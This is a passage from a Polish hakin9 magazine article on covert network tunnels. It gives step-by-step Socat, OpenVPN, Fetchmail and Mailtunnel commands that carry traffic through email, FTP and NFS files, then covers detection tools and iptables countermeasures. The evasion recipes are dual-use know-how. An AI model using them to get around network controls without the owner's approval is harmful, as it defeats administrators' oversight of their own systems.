Korzystając  z  rozwiązań  opar-

tych  na  IGD  należy  mieć  na  uwa-
dze  nie  tylko  jego  zalety,  ale  i  wa-
dy,  przez  które  wielu  administrato-
rów  klasyfikuje  tego  rodzaju  urzą-
dzenia  jako  ryzyko  dla  bezpieczeń-
stwa  sieci  lokalnej.  Trzeba  sobie 
zdawać  sprawę,  że  przedstawiona 
wersja  IGD  została  zaprojektowa-
na tak, aby emulować ICS (Microso-

ft's Internet Connection Service) i ro-
bi to bardzo dokładnie. Oznacza to, 
ni mniej ni więcej, tyle, że odpowie-
dzialność za bezpieczeństwo i celo-
wość przekierowań zostaje przenie-
siona  na  użytkowników  bramy.  Da-
je to potencjalnemu intruzowi możli-
wość  bezproblemowego  przegląda-
nia, dodawania oraz usuwania prze-
kierowań.  Więcej  szczegółów  tech-
nicznych czytelnik może znaleźć na 
forum UPnP.

Na  potrzeby  nie  tylko  graczy, 

ale  również  użytkowników  chcących 
uniezależnić swoją wirtualną sieć od 
lokalizacji  poszczególnych  węzłów 
zostało  stworzone  oprogramowanie 
łączące  w  sobie  VPN,  aplikacje  p2p 
oraz prosty system IM. Narzędzie to, 
noszące nazwę Hamachi [5], dostęp-
ne  jest  zarówno  dla  systemów  spod 
znaku pingwina, jak i Windows. W te-
legraficznym  skrócie  można  powie-
dzieć, że tworzy ono sieć lan w opar-
ciu o Internet. Konfiguracja programu 
w systemie Linux jest bajecznie pro-
sta. W systemie z Readmont konfigu-
rowanie aplikacji przysparza jeszcze 
mniej problemów. Program jest dość 
nowatorski  w  swoim  działaniu.  Przy 
instalacji  aplikacji  tworzony  jest  do-
datkowy interfejs sieciowy, przez któ-
ry  będą  wykonywane  połączenia  do 
komputerów w wirtualnej sieci. Klient 
po uruchomieniu rejestruje się w sys-
temie.  Dodatkowo  przeprowadzana 
jest dwukierunkowa autentykacja za-
równo  serwera  jak  i  klienta.  Każdy 
serwer Hamachi posiada parę kluczy 
– publiczny i prywatny, służących do 
potwierdzania  autentyczności.  Klu-
cze  publiczne  są  zawarte  w  progra-
mach klientów. Klient Hamachi gene-
ruje  swoją  parę  kluczy,  a  jego  klucz 
publiczny  udostępniany  jest  serwe-
rom  w  celu  przeprowadzenia  póź-
niejszej autentykacji kolejnych podłą-
czeń klienta. Przy pierwszym urucho-
mieniu klienta należy stworzyć nową 
wirtualną sieć, lub dołączyć się do już 
istniejącej.  Każdy  komputer  w  takiej 

sieci  posiada  swój  pseudo-publicz-
ny  adres  IP.  Zakładając,  że  mamy 
skonfigurowanego  wcześniej  klienta 
Hamachi,  kolejnym  etapem  przy  je-
go  uruchamianiu  jest  synchronizacja 
z innymi klientami należącymi do wir-
tualnych  sieci.  Oznacza  to  stworze-
nie tunelu UDP pomiędzy komputera-
mi w sieciach lokalnych i wykorzysta-
nie go jako nośnika danych do enkap-
sulowania innych protokołów. Do ze-
stawienia tunelu i przebicia NAT wy-
korzystywany jest komputer–pośred-
nik zwany często mediatorem. Szcze-
góły  techniczne  tego  procesu  moż-
na  poznać  np.  w  artykule  Sieci  nie 

tak znowu lokalne z Hakin9u 1/2007. 
Warto  jednak  wiedzieć,  że  media-
tor jest wykorzystywany jednokrotnie 
– przy przebijaniu NAT. 

Dodatkową cechą węzłów łączą-

cych hosty w Hamachi jest szyfrowa-
nie przesyłanych danych. Niektórych 
zdziwić  może  fakt,  że  w  celu  otrzy-
mania  możliwości  przesyłania  da-
nych w postaci niezaszyfrowanej na-
leży wykupić konto premium u produ-
centa. Aplikacja ta likwiduje wszyst-
kie problemy związane z sieciami lo-
kalnymi  posiadającymi  niepubliczne 
adresy  lokalne.  Jednak,  jak  by  tego 
było mało, Hamachi posiada wbudo-
wany serwer proxy, za pomocą któ-
rego  można  korzystać  z  Internetu 
wykorzystując zdalny komputer.

Z  perspektywy  administratora 

sieci komputerowej zablokowanie te-
go typu usługi może być bardzo po-
żądane.  Niektóre  z  serwerów  po-
średniczących Hamachi używają do 
synchronizacji portu 32976. Aby za-
blokować możliwość połączenia z ty-
mi  hostami  wystarczy  dodać  nastę-
pującą regułkę w firewallu:

iptables -I FORWARD -p tcp --dport
32976 -j DROP 

Powinno  to  uniemożliwić  synchro-
nizację  z  częścią  serwerów  Hama-
chi, jednak nie zlikwiduje to całkowi-
cie łączenia się z ową siecią. Aby w 
pełni zablokować sieć należy, tak jak 
w  przypadku  niektórych  sieci  p2p, 
sprawdzić  adresy  IP  pośredników  i 
wpisać je do firewalla. W chwili pisa-
nia tego artykułu wystarczyło oprócz 

Rysunek 2. 

Schemat komunikacji poprzez serwer pocztowy.

background image

Pakiety w tunelu

wyżej  wymienionej  reguły  zabloko-
wać  jeden  adres  IP,  z  którym  klient 
Hamachi łączył się na porcie 443:

iptables -I FORWARD -d 63.208.197.211
-j DROP

Tunelowanie, 

enkapsulacja – IP 

w czymkolwiek?

Duża część administratorów konfigu-
ruje firewalle w ten sposób, że zna-
ny ruch np. SSH, HTTP, FTP, SMTP 
nie jest dokładnie analizowany przez 
reguły firewalla, a pozostałe pakiety 
przepuszczane są na przykład przez 
filtry wykrywające ruch p2p, ograni-
czana jest liczba równoczesnych po-
łączeń,  czy  w  końcu  niektóre  porty 
są całkowicie blokowane. Tak skonfi-
gurowanego firewalla można obejść 
w    sposób,  jaki  od  razu  przychodzi 
na myśl – należy ukryć interesujący 
nas ruch w pakietach, które będą za-
klasyfikowane na firewallu jako zna-

ny ruch (patrz Rysunek 1).

Jednym z takich programów jest 

Mailtunnel  [6].  Ten,  pochodzący  z 
1999  roku,  program  składa  się  z 
trzech  skryptów  napisanych  w  Per-
lu.  Jego  działanie  polega  na  ukry-
waniu  danych  połączenia  w  wiado-
mościach  email,  zaś  konfiguracja 

sprowadza się do edycji pliku conf.pl
Celem dla którego powstał program 
jest stworzenie ukrytego kanału po-
między  komputerem  A,  który  znaj-
duje  się  w  sieci  lokalnej  (załóżmy, 
że w danej sieci administrator prze-
puszcza  tylko  pocztę  email),  a  ho-
stem  B,  który  po  odebraniu  przesy-
łek od A, przesyła dane do kompute-
ra C poprzez stworzone połączenie 
TCP.  W  efekcie  A  łącząc  się  do  lo-
calhost:port połączy się z kompute-
rem C. Aby skomplikować przykład, 
załóżmy że A oraz B znajduje się za 
NAT,  a  MTA,  którego  używają  oba 
komputery znajduje się w jeszcze in-
nym miejscu (patrz Rysunek 2).

Naszym  celem  będzie  zesta-

wienie połączenia VPN pomiędzy A 
oraz  B.  Pierwszym  krokiem  będzie 
założenie  konta  email.  Od  skrzyn-
ki email wymaga się w zasadzie tyl-
ko tego, aby była szybka, umożliwia-

ła obsługę przez POP3 i SMTP oraz 
nie  posiadała  filtru  antyspamowe-
go,  który  usunąłby  niektóre  pakiety 
z  konwersacji.  Załóżmy,  że  na  ho-
ście o adresie 192.168.198.200 zało-
żone zostały dwie skrzynki: mtn_re-
lay1 oraz mtn_relay2. Kolejnym kro-
kiem jest skonfigurowanie Fetchma-
ila na komputerach A oraz B.

Na  hoście  A  plik  konfiguracyjny 

.fetchmailrc powinien zawierać:

set daemon 1
poll 192.168.198.200 with proto POP3
user 'mtn_relay1' there with password
'mtnrelay1' is 'mtn' here

natomiast na komputerze B:

set daemon 1 
poll 192.168.198.200 with proto POP3
user 'mtn_relay2' there with password
'mtnrelay2' is 'mtn' here

Rysunek 3. 

Tunelowanie danych TCP w UDP.

R

E

K

L

A

M

A

background image

hakin9 Nr 4/2007

www.hakin9.org

54

Jeżeli  ktoś  preferuje  korzystanie  ze 
środowiska  graficznego,  może  użyć 
programu Fetchmailconf do uzyska-
nia  podobnego  pliku  konfiguracyj-
nego.

Po  wpisaniu  polecenia  fetchma-

il  jako  użytkownik  mtn  na  kompute-
rze A oraz B poczta skierowana do 

mtn_relay1@[192.168.198.200]  po-
winna trafiać do /var/spool/mail/mtn 
na  A.  Podobnie  email  wysłany  do 

mtn_relay2@[192.168.198.200]  tra-
fi do komputera B. Na obu kompute-
rach fetchmail odpytuje serwer pop3 
co  1  sekundę.  Kontroluje  to  liczba, 
która  znajduje  się  za  słowem  de-

amon w pliku konfiguracyjnym.

Program  Mailtunnel  został  przy-

stosowany  do  tunelowania  teksto-
wych  danych.  Aby  go  dostosować 
do  wiadomości  binarnych  należy  w 
miejsce  operatorów  wczytania  linii 
„<..>”  użyć  funkcji  read.  Zmodyfiko-
wany program znajduje się na [7].

Aby  skonfigurować  VPNa  należy 

sięgnąć po przepis z numeru Hakin9 
6/2006 autorstwa gosub-a. Jeśli jed-
nak zależy nam na prostszej wersji tu-
nelu, w którym szyfrowanie odbędzie 
się  poprzez  współdzielony  klucz,  to 
możemy  pójść  nieco  na  skróty.  Na 
jednym  z  komputerów  generujemy 
klucz openvpn-owy poleceniem:

openvpn --genkey --secret key

następnie w sposób, który uniemożli-
wiłby podsłuchanie transmisji, kopiu-
jemy plik key na drugą maszynę. Po 
czym na maszynie B wydajemy po-
lecenie:

openvpn  --dev tun1 --ifconfig 10.4.0.2
10.4.0.1 --verb 5 --secret key --proto
tcp-server --port 666

które  uruchomi  serwer  VPN  na-
słuchując  na  gnieździe  TCP  i  por-
cie  666.  Mając  już  działający  ser-
wer VPN należy uruchomić program 
forwardujący pakiety z serwera VPN 
poprzez email do klienta:

./mtn forward localhost 666

Na hoście A uruchamiamy klienta tu-
nelu:

./mtn listen 5000

oraz klienta VPN:

openvpn --remote 127.0.0.1 --dev
tun1 --ifconfig 10.4.0.1 10.4.0.2 --verb
5 --secret key --proto tcp-client --
port 5000

Po  paru  chwilach  możemy  cieszyć 
się  tunelem  zestawionym  pomiędzy 
komputerami A oraz B – Listing 3.

Jak możemy się domyślać, przez 

takie  połączenie  nie  da  się  komfor-
towo  grać  w  Quake'a,  lecz  dla  ce-
lów  SSH  w  zupełności  ono  wystar-
czy. Biorąc pod uwagę zasadę dzia-
łania przesyłek email można od razu 
wpaść na pomysł routingu opartego 
o  emaila.  Za  pomocą  przekazywa-
nia poczty można skomplikować dro-
gę pakietu unikając wścibskich oczu 
administratorów,  rządu,  terrorystów, 
żony etc... Ponadto zastosowanie ta-
kiej techniki jest słuszne w przypad-
ku, gdy wiemy, że kierowanie poczty 
do konkretnego hosta w sieci będzie 
szybsze, niż wysyłanie emaili do in-
nego. Tworząc większą liczbę skrzy-
nek pocztowych, które przekazywa-
łyby pomiędzy sobą wiadomości, po-
wodowalibyśmy, że pakiet skierowa-
ny z komputera A do C przechodził-
by przez szereg MTA.

Do  kompletu  protokołów  braku-

je już jedynie tunelowania za pomo-
cą FTP. Jednym z programów, które 
częściowo  tego  dokonują  jest  Ftp-
tunnel  [8].  Program  ten  jest  raczej 
aplikacją typu proof of concept, niż 
programem do tunelowania. Składa 
się  on  z  czterech  skryptów.  Jeden 
z  nich  (master.pl)  należy  umieścić 
w  katalogu  głównym  serwera  FTP. 
Po  uruchomieniu  stworzy  on  pliki 
semaforów,  których  będzie  ocze-
kiwał  program  klienta,  a  następnie 
poprosi  o  wprowadzenie  komendy, 
która  zostanie  zapisana  do  pliku  o 
nazwie  request.  Na  drugiej  maszy-
nie wgrywamy plik slave.pl i modyfi-
kujemy jego część, w której wskaza-
ny jest serwer FTP, nazwa użytkow-
nika i hasło. Skrypt slave.pl zalogu-
je się na serwer, pobierze plik requ-

est, wykona go, a wynik zapisze do 
pliku answer, który następnie zosta-

nie umieszczony na komputerze, na 
którym uruchomiony jest skrypt ma-
ster-a.

Program  ten  posiada  wiele  bra-

ków, lecz wydaje się, że przy odro-
binie  pracy  uda  się  za  pomocą  tej 
techniki  stworzyć  połączenie  VPN 
pomiędzy dwoma komputerami. Naj-
prawdopodobniej modyfikacji nie po-
winno być dużo jeśli użyjemy progra-
mu  Socat  [9],  za  pomocą  którego 
możemy  przekazywać  dane  pomię-
dzy  dwoma  niezależnymi  źródłami, 
począwszy od gniazd, poprzez pliki, 
a skończywszy na serwerach proxy.

Tunel IP poprzez 

zbiory w sieciowym 

systemie plików

Skoro już wspomniałem o programie 
Socat, trudno nie przytoczyć w tym 
miejscu jego niewątpliwych zalet, za 
pomocą których możliwe jest zesta-
wienie  dowolnych  tuneli.  Na  przy-
kład,  aby  osiągnąć  podobny  efekt, 
jak w artykule Hakin9 „Tunele TUN/
TAP w systemach Linux/Unix” z lute-
go 2007, można na komputerze zdal-
nym uruchomić polecenie:

socat udp4-listen:53 tcp4:127.0.0.1:
5000

natomiast na komputerze za firewal-
lem:

socat tcp4-listen:5000 udp:
adreskomputerazdalnego:53,sourceport=53

Teraz  posiadając  działające  połą-
czenie  TCP  (patrz  Rysunek  3)  po-
między dwoma komputerami, widzia-
ne na routerze jako szereg pakietów 
UDP, można użyć pakietu Openpvn 
do stworzenia tunelu.

Jak  zostało  wspomniane  wcze-

śniej,  Socat  umożliwia  wykorzysta-
nie plików jako źródła danych. Mając 
to  na  uwadze,  nietrudno  wyobrazić 
sobie, jak za pomocą tego programu 
można stworzyć prosty tunel w opar-
ciu o zdalne zasoby NFS. Do zesta-
wienia tunelu VPN potrzebny będzie 
nam dodatkowy programik o nazwie 
Udprelay [10]. Dodatkowo trzeba bę-
dzie  lekko  zmodyfikować  jego  źró-
dła. Mianowicie w pliku udprelay.c w 

background image

Pakiety w tunelu

hakin9 Nr 4/2007

www.hakin9.org

55

linijce 353 przed komendą bind nale-
ży wstawić:

if (setsockopt(sock,SOL_SOCKET,
SO_REUSEADDR,&one,sizeof(one))<0)
{
syslog (LOG_ERR, "setsockopt, %m");
exit (1);->
}

Pozwoli  to  na  przypięcie  dwóch 
gniazd do tego samego portu. Mając 
zmodyfikowany i skompilowany pro-
gram,  możemy  przystąpić  do  two-
rzenia  tunelu.  Schemat  komunikacji 
po NFS obrazuje Rysunek 4.

Rolą maszyny B jest jedynie udo-

stępnienie jednego katalogu poprzez 
NFS.  W  tym  katalogu  znajdują  się 
dwa  pliki  hostA-hostC  oraz  hostC-

hostA.  Pierwszy  z  nich  będzie  uży-
ty  do  jednokierunkowej  komunika-
cji od hostaA do hostaC. Do łączno-
ści w drugą stronę wykorzystany zo-
stanie drugi plik. Załóżmy, że kompu-
ter A oraz C mają skonfigurowanego 
klienta NFS i zamontowany synchro-
nicznie  katalog  /mnt/nfs  komputera 
B  w  katalogu  /mnt/nfs-remote.  Aby 
przedstawione  na  rysunku  połącze-
nie zaczęło działać, należy wykonać 
następujące sekwencje komend. Na 
początku uruchamiamy serwer ope-
nvpn  na  komputerze  A.  Serwer  po-
winien  nasłuchiwać  na  porcie  TCP:
10000.

Aby  zrealizować  część  numer  1 

połączenia należy wydać komendę:

socat udp-listen:15000 tcp4:
192.168.64.100:10000

Spowoduje to powstanie dwukierun-
kowego  kanału,  który  przekieruje 
wszystkie pakiety UDP przychodzą-
ce na port 15000 do połączenia TCP 
na port 10000.

Połączenie  UDP-plik  (numer  2) 

realizuje komenda:

socat -u udp4-listen:10000,
reuseaddr open:/mnt/nfs_remote/hostA-
hostC,sync

Wszystkie pakiety UDP wysłane na 
port 10000, zostaną zapisane do pli-
ku na dysku sieciowym. Przełącznik 

Listing 3. 

Tunel zestawiony pomiędzy komputerami A oraz B

hostb:~

# ping 10.4.0.1

PING 10.4.0.1 (10.4.0.1) 56(84) bytes of data.

64 bytes from 10.4.0.1: 

icmp_seq

=1 

ttl

=64 

time

=5147 ms

64 bytes from 10.4.0.1: 

icmp_seq

=2 

ttl

=64 

time

=10093 ms

64 bytes from 10.4.0.1: 

icmp_seq

=3 

ttl

=64 

time

=9092 ms

64 bytes from 10.4.0.1: 

icmp_seq

=4 

ttl

=64 

time

=8092 ms

64 bytes from 10.4.0.1: 

icmp_seq

=5 

ttl

=64 

time

=7092 ms

64 bytes from 10.4.0.1: 

icmp_seq

=6 

ttl

=64 

time

=24040 ms

64 bytes from 10.4.0.1: 

icmp_seq

=7 

ttl

=64 

time

=23038 ms

Listing 4. 

Połączenie 

debian:~

# ping 10.4.0.2

PING 10.4.0.2 (10.4.0.2) 56(84) bytes of data.

64 bytes from 10.4.0.2: 

icmp_seq

=1 

ttl

=64 

time

=8607 ms

64 bytes from 10.4.0.2: 

icmp_seq

=2 

ttl

=64 

time

=7607 ms

64 bytes from 10.4.0.2: 

icmp_seq

=3 

ttl

=64 

time

=6607 ms

64 bytes from 10.4.0.2: 

icmp_seq

=4 

ttl

=64 

time

=5607 ms

64 bytes from 10.4.0.2: 

icmp_seq

=5 

ttl

=64 

time

=4607 ms

64 bytes from 10.4.0.2: 

icmp_seq

=6 

ttl

=64 

time

=3607 ms

64 bytes from 10.4.0.2: 

icmp_seq

=7 

ttl

=64 

time

=5623 ms

64 bytes from 10.4.0.2: 

icmp_seq

=8 

ttl

=64 

time

=4620 ms

64 bytes from 10.4.0.2: 

icmp_seq

=9 

ttl

=64 

time

=3618 ms

64 bytes from 10.4.0.2: 

icmp_seq

=10 

ttl

=64 

time

=2614 ms

--- 10.4.0.2 ping statistics ---

13 packets transmitted, 10 received, 23% packet loss, time 12024ms
rtt min/avg/max/mdev = 2614.549/5312.246/8607.296/1789.397 ms, pipe 9

Listing 5. 

Rezultaty implementacji

vegard@gyversalen:~$ ping -i 900 10.0.3.1
PING 10.0.3.1 (10.0.3.1): 56 data bytes

64 bytes from 10.0.3.1: 

icmp_seq

=0 

ttl

=255 

time

=6165731.1 ms

64 bytes from 10.0.3.1: 

icmp_seq

=4 

ttl

=255 

time

=3211900.8 ms

64 bytes from 10.0.3.1: 

icmp_seq

=2 

ttl

=255 

time

=5124922.8 ms

Listing 6. 

Rezultat na maszynie o adresie 192.168.128.100

debian:~

# hping2 192.168.198.200  -S -p 110

HPING 192.168.198.200 (eth0 192.168.198.200): S set, 40 headers + 0 data 

bytes

len

=46 

ip

=192.168.198.200 

ttl

=63 DF 

id

=0 

sport

=110 

flags

=SA 

seq

=0 

win

=5840 

rtt

=8.9 ms

len

=46 

ip

=192.168.198.200 

ttl

=63 DF 

id

=0 

sport

=110 

flags

=SA 

seq

=1 

win

=5840 

rtt

=3.8 ms

len

=46 

ip

=192.168.198.200 

ttl

=63 DF 

id

=0 

sport

=110 

flags

=SA 

seq

=2 

win

=5840 

rtt

=1.3 ms

len

=46 

ip

=192.168.198.200 

ttl

=63 DF 

id

=0 

sport

=110 

flags

=SA 

seq

=3 

win

=5840 

rtt

=1.3 ms

len

=46 

ip

=192.168.198.200 

ttl

=63 DF 

id

=0 

sport

=110 

flags

=SA 

seq

=4 

win

=5840 

rtt

=1.2 ms

len

=46 

ip

=192.168.198.200 

ttl

=63 DF 

id

=0 

sport

=110 

flags

=SA 

seq

=12 

win

=5840 

rtt

=2.8 ms

len

=46 

ip

=192.168.198.200 

ttl

=63 DF 

id

=0 

sport

=110 

flags

=SA 

seq

=24 

win

=5840 

rtt

=2.3 ms

len

=46 

ip

=192.168.198.200 

ttl

=63 DF 

id

=0 

sport

=110 

flags

=SA 

seq

=35 

win

=5840 

rtt

=2.6 ms

len

=46 

ip

=192.168.198.200 

ttl

=63 DF 

id

=0 

sport

=110 

flags

=SA 

seq

=46 

win

=5840 

rtt

=3.7 ms

background image

hakin9 Nr 4/2007

www.hakin9.org

56

-u powoduje, że komunikacja gniaz-
do->plik  jest  jednokierunkowa.  Do-
datkowy  parametr  sync  zapewnia, 
że zapisy do pliku nie będą buforo-
wane.

Dane przychodzące do kompute-

ra A z komputera C poprzez plik ho-
stC-hostA (połączenie nr 6) są prze-
kazywane za pomocą:

socat -u open:/mnt/nfs_remote/host4-
host1,
sync,ignoreeof udp:192.168.64.100:
15001,
sourceport=10001,reuseaddr

Dodatkowy parametr ignoreeof powo-
duje, że Socat zakłada iż plik rośnie i 
ignoruje znacznik końca danych i pró-
buje odczytać więcej danych (działa-
nie podobne do polecenia tail -f). Da-
ne odczytywane z pliku są wysyłane 
do  UDP:192.168.64.100:15001.  Ja-
ko port źródłowy ustawiona jest war-
tość  10001.  Pakiety  te  odbierane  są 
przez  program  Udprelay.  Zadaniem 
połączenia numer 6.5 jest odebranie 
tych  pakietów  a  następnie  wysłanie 
ich  do  UDP:192.168.60.100:15000
używając  przy  okazji  portu  10000. 
Połączenie to realizowane jest przez 
polecenie:

udprelay -d -f /etc/udprelay.conf

Plik konfiguracyjny dla Udprelay po-
winien zawierać jedną linijkę:

relay 192.168.64.100 10001 
15001 192.168.64.100 15000 10000 oneway

Nadaje ona działaniu Udprelay nastę-
pujące znaczenia: przekazuj pakiety w 
jednym kierunku.; oczekuj pakietów z 
adresu 192.168.64.100, portu docelo-
wego 15001 i portu źródłowego 10001; 
przekaż dane do 192.168.64.100 uży-
wając portu docelowego 15000 i portu 
źródłowego 10000.

Jak pamiętamy, na porcie 15000 

nasłuchuje  Socat  realizujący  połą-
czenie  numer  1,  a  na  porcie  10000 
Socat  obsługujący  połączenie  nu-
mer 2. Użycie Udprelay ma na celu 
zmylenia Socat-a (1) tak aby po ode-
braniu pakietów od 6.5 odpowiedział 
pakietami w kierunku (2).

Nadszedł czas na komputer C. Po-

łączenie nr 3 zrealizuje polecenie:

socat -u udp-listen:20000,reuseaddr 
open:/mnt/nfs_remote/hostC-hostA,sync

Połączenie nr 4:

socat tcp4-listen:5000,reuseaddr udp:
192.168.128.100:20000,sourceport=25000

Połączenie nr 5:

socat -u open:/mnt/nfs_remote/hostA-
hostC,
sync,ignoreeof udp:192.168.128.100:
25001,
sourceport=20001

Połączenie nr 5.5:

udprelay -d -f /etc/udprelay.conf

Plik  konfiguracyjny  powinien  zawie-
rać:

relay 192.168.128.100 20001 
25001 192.168.128.100 25000 20000
oneway

Teraz prześledźmy, co się stanie, gdy 
uruchomimy openvpn-a, który połączy 
się do TCP:192.168.128.100:5000.

W tej sytuacji pakiet zostanie ode-

brany przez (4) i wysłany do (3) na port 
UDP:20000. (3) zapisze dane do pli-
ku (hostC-hostA) na dysku sieciowym 
NFS. Po pewnym czasie (6) zorientu-
je  się,  że  plik  się  powiększył,  odczy-
ta  go  i  prześle  do  (6.5),  który  wyśle 
go  w  pakiecie  UDP:192.168.64.100:
15000  używając  portu  10000  do  (1). 
(1)  przekaże  dane  do  serwera  Ope-
nvpn komputera A. Openvpn w odpo-
wiedzi wyśle dane do (1), który odpo-
wie w kierunku, z którego przyszły da-
ne – czyli (2). (2) zapisze dane do pli-
ku hostA-hostC. Plik ten jest monitoro-
wany przez (5), który zauważając da-
ne wyśle je do (5.5). Dane te w pakie-
cie UDP:192.168.128.100:25000 (port 
źródłowy 20000) trafią do (4) i dalej z 
powrotem do klienta openvpn. Voila...

Połączenie takie ma jeden man-

kament  –  co  zobaczymy  na  Listin-
gu 4.

Rysunek 4. 

Schemat komunikacji poprzez serwer NFS

background image

Pakiety w tunelu

Komfort gry w Quake'a w dalszym 

ciągu byłby zachwiany. Ponadto trud-
no nie wspomnieć o bezpieczeństwie 
takiego tunelu, a raczej braku takiego 
bezpieczeństwa.  Cała  komunikacja 
zostaje  bowiem  utrwalona  w  dwóch 
plikach zdalnego katalogu.

IP w czymkolwiek

Techniki  tunelowania  za  pomocą 
protokołu  HTTP  oraz  ICMP  zosta-
ły  opisane  w  Hakin9u  nr  2/2007,  w 
związku  z  tym  niniejszy  artykuł  po-
minie te protokoły. Zainteresowanym 
czytelnikom polecam lekturę tego ar-
tykułu oraz dokumentacje do [11] [12] 
[13] jako uzupełnienie.

Jednym  z  ciekawszych  pomy-

słów,  aczkolwiek  dość  trudnym  w 
realizacji,  jest  użycie  papieru  ja-
ko  medium  transmisyjnego  i  wy-
korzystanie  gołębi  pocztowych  do 
przekazywania pakietów z jednego 
miejsca  w  inne.  Pomysł  ten  został 
opisany w dokumencie RFC numer 
1149. Pierwsze próby implementa-
cji  podobno  przyniosły  dość  obie-
cujące rezultaty, co zobaczymy na 
Listingu 5.

W  tym  przypadku  należy  defi-

nitywnie  stwierdzić.  Używając  ta-
kiego tunelu nie da się grać w Qu-
ake'a.

Paradygmat

– „szukaj i niszcz”

Istnieje  stosunkowo  niewiele  narzę-
dzi  do  wyszukiwania  ukrytych  kana-
łów. Być może spowodowane jest to 
tym, że de facto nie wiadomo czego 
należy  szukać.  Jednym  z  lepszych 
(a  zarazem  sprawdzonych)  narzę-
dzi  jest  snort_inline  opisany  w  Haki-
n9u 1/2007. Należy mieć na uwadze 
fakt, że wykrywanie tuneli sprowadza 
się w większości przypadków do ana-
lizy statystycznej płynącego przez ro-
uter  ruchu  i  wykrywania  wszelkiego 
rodzaju  anomalii.  Dlatego  odpowied-
nia  konfiguracja  systemu  IDS  jest  w 
stanie wykryć ukryty tunel. Dla proto-
kołu TCP zostało napisane narzędzie 
o nazwie Tcpstatflow [15]. Jego zada-
niem jest analiza ruchu i alarmowanie 
w momencie przekroczenia progu pa-
rametru ruchu takiego, jak czas trwa-
nia  komunikacji,  liczba  bajtów  przy-
chodzących,  ilość  pakietów  przycho-
dzących. Na przykład, aby wykryć se-
sje HTTPS, które trwają ponad 60 se-
kund, wystarczy wydać polecenie:

debian:~# ./tcpstatflow -y 60 port 443.
/tcpstatflow[5771]: listening on eth0

Gdy taka sesja zostanie wykryta pro-
gram wyświetli komunikat:

Potencial tunnel = 192.168.198.128:
3863->
192.168.198.200:443: packets rx=82
tx=86,
 bytes rx=9080 tx=1983, seconds=61

Nie jest to jedyne narzędzie, za po-
mocą  którego  można  badać  ruch 
przechodzący przez router. Pozosta-
łe  narzędzia,  których  pokaźna  lista 
znajduje  się  w  [14],  skoncentrowa-
ne  są  raczej  na  prowadzeniu  staty-
styk połączeń, portów etc., lub poka-
zywaniu bieżącej działalności w ka-

blu.  Przykładem  może  być  chociaż-
by  jnettop,  czy  popularny  iptraf.  Za 
pomocą  obu  tych  narzędzi  admini-
strator jest w stanie zobaczyć, jakie 
połączenia  utrzymują  użytkownicy  i 
podjąć odpowiednie kroki.

Z  perspektywy  administrato-

ra  można  też  podejść  do  proble-
mu  od  drugiej  strony,  a  mianowicie 
skoncentrować się nie na wykrywa-
niu i usuwaniu tuneli kopanych przez 
użytkowników, ale na podjęciu pew-
nych  kroków  prewencyjnych,  które 
utrudnią lub całkowicie uniemożliwią 
stworzenie  ukrytego  kanału.  Wie-
dząc, jak działają tunele, łatwo prze-
ciwdziałać  ich  powstawaniu.  Można 
przykładowo  na  maszynie  firewal-
la  zainstalować  proxy  ICMP,  które 

R

E

K

L

A

M

A

background image

hakin9 Nr 4/2007

www.hakin9.org

58

będzie  pośredniczyło  w  wymianie 
tych pakietów pomiędzy siecią lokal-
ną, a Internetem. Dzięki takiej funk-
cji moduł mod_icmp [15] skutecznie 
uniemożliwi  tworzenie  tuneli  opar-
tych  o  ten  protokół  (chyba  że  ktoś 
wykorzysta  ten  protokół  do  stwo-
rzenia  ukrytego  kanału  wykorzystu-
jącego  odstępy  czasu  do  przeka-
zania  informacji  [16]).  Kolejną  rze-
czą, którą może zrobić administrator, 
jest  ograniczenie  liczby  prób  komu-
nikacji przez niektóre usługi. Opisa-
ny w artykule Mailtunnel łatwo moż-
na unieszkodliwić nakładając ograni-
czenia na liczbę prób nawiązania po-
łączenia na porty 25 i 110.

Można  to  osiągnąć  wykorzystu-

jąc  standardowe  moduły  Iptables. 
Na  początku  blokujemy  wszystkie 
połączenia wychodzące na interesu-
jące nas porty:

iptables -I FORWARD -s 192.168.128.100 
-p tcp -m multiport --destination-port
25,110 --syn -j DROP

następnie  zezwalamy  na  określoną 
liczbę pakietów syn/minutę dla połą-
czeń na odpowiednie porty:

iptables -I FORWARD -s 192.168.128.100 
-p tcp --dport 110 -m limit --limit
5/min --syn -j ACCEPT
iptables -I FORWARD -s 192.168.128.100 
-p tcp --dport 25 -m limit --limit
10/min --syn -j ACCEPT

Teraz możemy zaobserwować ocze-
kiwany rezultat na maszynie o adre-
sie 192.168.128.100 – Listing 6.

Jak  widać  pierwszych  5  pakie-

tów zostało przepuszczonych. Spo-
wodowane jest to domyślną warto-
ścią  limit-burst  modułu  limit  w  Ip-
tables,  która  jest  ustawiona  na  5. 
Następnie  pakiety  TCP  z  ustawio-
ną  flagą  SYN  są  przepuszczane  z 
prędkością 1 na 1/5 min. Dzięki ta-
kiemu  zabiegowi  znacznie  trudniej 
będzie stworzyć tunel oparty o pro-
tokoły  SMTP  oraz  POP.  Podobny 
zabieg  można    zastosować  wobec 
innych protokołów.

Kolejną  rzeczą,  którą  admini-

strator powinien rozważyć, jest uru-
chomienie  transparentnego  serwe-

ra proxy, który przechwytywałby żą-
dania użytkowników. Na taki serwer 
można  nałożyć  dodatkowe  ograni-
czenia, które uniemożliwią tworzenie 
niektórych  rodzajów  tunelów  opar-
tych  o  HTTP.  Stosowanie  tego  roz-
wiązania posiada dodatkową zaletę, 
a  mianowicie  serwer  proxy  odciąży 
trochę nasze łącze, ponieważ część 
danych będzie znajdować się w ca-
che serwera.

Jeżeli  kopanie  tuneli  jest  w  sieci 

zabronione  ze  względu  na  duże  zu-
życie  zasobów  przez  programy  p2p, 
to panaceum na wszystkie problemy 
może  się  okazać  sprawiedliwy  po-
dział  łącza  [16].  Użytkownicy,  którzy 
wykopali sobie tunel i wykorzystują go 
do ściągania darmowego i legalnego 

oprogramowania  po  prostu  wykorzy-
stają całe przydzielone im pasmo.

To nie koniec

Przedstawione  w  artykule  pomy-
sły nie są wszystkimi, jakie można 
zrealizować.  Użytkownicy,  chcąc 
obejść  zabezpieczenia  admini-
stratora,  wymyślają  coraz  to  now-
sze  sposoby  na  pokonanie  narzu-
conych  im  ograniczeń.  W  odpo-
wiedzi  administratorzy  stosują  co-
raz bardziej wymyślne techniki wy-
krywania  i  unieszkodliwiania  tune-
li.  Z  pewnością  nie  można  powie-
dzieć,  że  widać  koniec  tej  wojny. 
Wręcz  przeciwnie,  można  odnieść 
wrażenie, że jest to dopiero jej po-
czątek. l

O autorze

Konrad Malewski, absolwent informatyki Politechniki Śląskiej. Obecnie doktorant in-
